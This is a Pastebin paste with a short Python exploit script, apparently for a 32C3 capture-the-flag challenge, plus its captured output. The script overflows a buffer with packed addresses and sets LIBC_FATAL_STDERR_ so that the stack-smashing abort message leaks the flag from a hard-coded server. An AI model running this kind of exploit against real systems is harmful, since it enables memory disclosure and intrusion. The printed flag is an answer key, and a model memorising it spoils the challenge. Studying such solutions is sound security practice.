Advertisement
Guest User

Untitled

a guest
Dec 29th, 2015
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.44 KB | None | 0 0
  1. from pwn import connst
  2. from struct import pack
  3.  
  4. s, t = connst("136.243.194.62", 1024)
  5.  
  6. print t.read_until("name? ")
  7. s.send(pack("Q", 0x00400d20) * 68 + pack("Q", 0x00600d20) * 15 + "\n")
  8.  
  9. print t.read_until("flag: ")
  10. s.send("LIBC_FATAL_STDERR_=1\n")
  11.  
  12. print s.recv(1024)
  13. """
  14. Hello!
  15. What's your name?
  16. Nice to meet you,
  17. @.
  18. Please overwrite the flag:
  19. Thank you, bye!
  20. *** stack smashing detected ***: 32C3_ELF_caN_b3_pre7ty_we!rd... terminated
  21. """
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement